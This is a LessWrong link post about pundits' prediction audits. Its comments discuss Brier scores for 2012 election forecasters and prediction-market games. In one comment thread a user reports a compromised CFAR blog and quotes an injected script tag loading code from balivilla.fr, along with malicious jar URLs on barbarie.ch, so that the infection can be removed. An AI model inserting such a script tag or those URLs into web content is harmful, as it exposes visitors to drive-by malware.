[LINK] "Prediction Audits" for Nate Silver, Dave Weigel

post by orthonormal · 2011-12-30T21:07:50.916Z · LW · GW · Legacy · 18 comments

Contents

18 comments

Nate Silver (the NYT quantitative political analyst) and Dave Weigel (the Slate columnist) have started a good tradition, listing their worst predictions of 2011. (Silver also listed his best.)

If any other pundits are doing the same, link them here.

18 comments

Comments sorted by top scores.

comment by lukeprog · 2012-11-07T20:34:51.959Z · LW(p) · GW(p)

Now that the election is over, I would like to see someone calculate Nate Silver's Brier score (including his Senate predictions), and also the Brier score for anyone else who gave that many probabilistic predictions.

Replies from: lukeprog
comment by lukeprog · 2012-11-08T01:37:37.695Z · LW(p) · GW(p)

Update: Gwern is working on this with me. The result will be a CFAR blog post.

Replies from: gwern, aaronsw
comment by gwern · 2012-11-09T00:39:17.091Z · LW(p) · GW(p) Replies from: arundelo, aaronsw
comment by arundelo · 2012-11-09T01:22:56.065Z · LW(p) · GW(p)

When I go to that post on the CFAR site I get a popup window that says:

Security Warning
Do you want to run this application?
Name: Java(TM) Platform SE Auto Updater
Publisher: UNKNOWN
From: http://barbarie.ch

If I hit cancel it goes away and immediately returns. I'm using Firefox 16.0.2.

Replies from: arundelo
comment by arundelo · 2012-11-09T01:31:46.120Z · LW(p) · GW(p)

Looks like the whole blog part of the site is infected.

Edit: I can't pinpoint where the infection is and I can't duplicate it on another computer, but in case it helps, here are the URLs of the jar files it's trying to run:

http://barbarie.ch/pix/jar/java7.jar?r=1069897
http://barbarie.ch/pix/jar/javab.jar?r=313862
http://barbarie.ch/pix/jar/amor1.jar
http://barbarie.ch/pix/jar/amor2.jar
http://barbarie.ch/pix/jar/amor3.jar
http://barbarie.ch/pix/jar/amor4.jar
http://barbarie.ch/pix/jar/amor5.jar
http://barbarie.ch/pix/jar/amor6.jar
http://barbarie.ch/pix/jar/amor7.jar

I'm also putting a link to this info in the "Contact the CFAR Staff" form on the site.

Replies from: lukeprog
comment by lukeprog · 2012-11-09T02:55:10.234Z · LW(p) · GW(p)

Thanks. We have someone looking at it now.

Replies from: arundelo
comment by arundelo · 2012-11-09T03:37:59.708Z · LW(p) · GW(p)

In case they haven't found it yet, it looks like the code that sets the mischief in motion is the following:

<div class="textwidget"><p><script type="text/javascript" src="http://www.balivilla.fr/jquery.php"></script></p>

(LW's Markdown processor may add angle brackets around the URL that aren't really there.)

Replies from: lukeprog
comment by lukeprog · 2012-11-09T04:24:31.086Z · LW(p) · GW(p)

Thanks; I believe it's now fixed.

comment by aaronsw · 2012-11-09T01:45:41.868Z · LW(p) · GW(p)

Why doesn't Jackman get a Brier score? He claims it's .00991: http://jackman.stanford.edu/blog/?p=2602

Replies from: gwern, lukeprog
comment by gwern · 2012-11-09T02:19:36.506Z · LW(p) · GW(p)

Jackman only just released his data now (after twittering with me, incidentally, I was able to explain why his R Brier score wasn't matching his hand-calculated Brier score) because he forgot to send it to me last night; and I'm running on fumes - we started this project from scratch yesterday at 5PM and I've been working on it ever since. EDIT: Looks like all the kerfluffle of new Brier/RMSE scores prodded Sam Wang into releasing his precise predictions too! Neat. EDITEDIT: I've gotten Jackman's data, incorporated it, discovered an error in my own data, differed with Jackman, learned he regarded 5 states as such a sure thing he didn't include probabilities while I had simply put in NAs, and now we've converged on his Brier score. Phew! His current Brier score is 0.009713686, a bit worse than Silver's 0.009113725, and both seem to be outperformed by Drew Linzer's 0.003843257. Wang seems to've released the data, but the CSV is unlabeled and I have no idea what half the columns mean...

I'd also like to include a random-guesser equivalent for RMSE... Tomorrow.

Replies from: gwern
comment by gwern · 2012-11-09T21:05:05.331Z · LW(p) · GW(p)

A better Brier random guesser and its RMSE equivalent are now in the R doc and hopefully the blog post will be updated shortly.

comment by lukeprog · 2012-11-09T02:00:00.126Z · LW(p) · GW(p)

We only included people whose Brier scores we could calculate ourselves. We plan to add Jackman when we get his data.

comment by aaronsw · 2012-11-09T01:44:25.915Z · LW(p) · GW(p)

Apparently a team at Penn is doing this as well:

http://jackman.stanford.edu/blog/?p=2602

comment by smijer · 2011-12-31T00:25:01.124Z · LW(p) · GW(p)

Is there a free / registration only prediction market game? I'm too poor to gamble real money, but I'd like to see something that will allow gambling for points or some such, and introduce it to my circle of friends. Something that allows a wide variety of categories of bet, with the ability to add your own well-quantified predictions.

Replies from: Solvent
comment by Solvent · 2011-12-31T11:30:02.998Z · LW(p) · GW(p)

I assume that you've heard of PredictionBook? That's not scored, but it is a good system.

Replies from: smijer
comment by smijer · 2012-01-10T16:11:30.052Z · LW(p) · GW(p)

Thank you. I will check it out.

comment by AlexSchell · 2011-12-30T22:19:51.138Z · LW(p) · GW(p)

Weigel only lists his four worst.

Replies from: orthonormal
comment by orthonormal · 2011-12-30T23:45:52.843Z · LW(p) · GW(p)

Fixed the post- thanks!